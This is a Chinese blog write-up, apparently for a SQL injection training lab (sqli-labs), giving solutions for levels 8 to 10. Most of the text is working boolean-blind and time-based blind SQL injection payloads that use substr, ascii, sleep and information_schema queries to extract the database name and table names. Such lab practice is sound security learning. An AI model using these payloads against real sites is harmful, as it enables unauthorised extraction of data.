这次记录一下第8关到第10关的解题思路,第7关试了半天没成功,所以先不写了,等我什么时候成功了再写。
第八关
第八关是布尔盲注,单引号闭合就行了。
数据库长度:
?id=1' and length((select database()))=8 --+
猜数据库名:
?id=1' and ascii(substr((select database()),1,1))=115 --+
数据表长度:
limit 0,1 emails
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
猜数据表名:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
第九关
第九关是时间盲注,也是单引号闭合。
数据库长度:
?id=1' and if(length(database())=8,sleep(5),1)--+
猜数据库名:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
数据表长度:
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),0)--+
猜数据表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+
第十关
第十关和第九关一样也是时间盲注,把第九关的单引号换成双引号就行了。
网友评论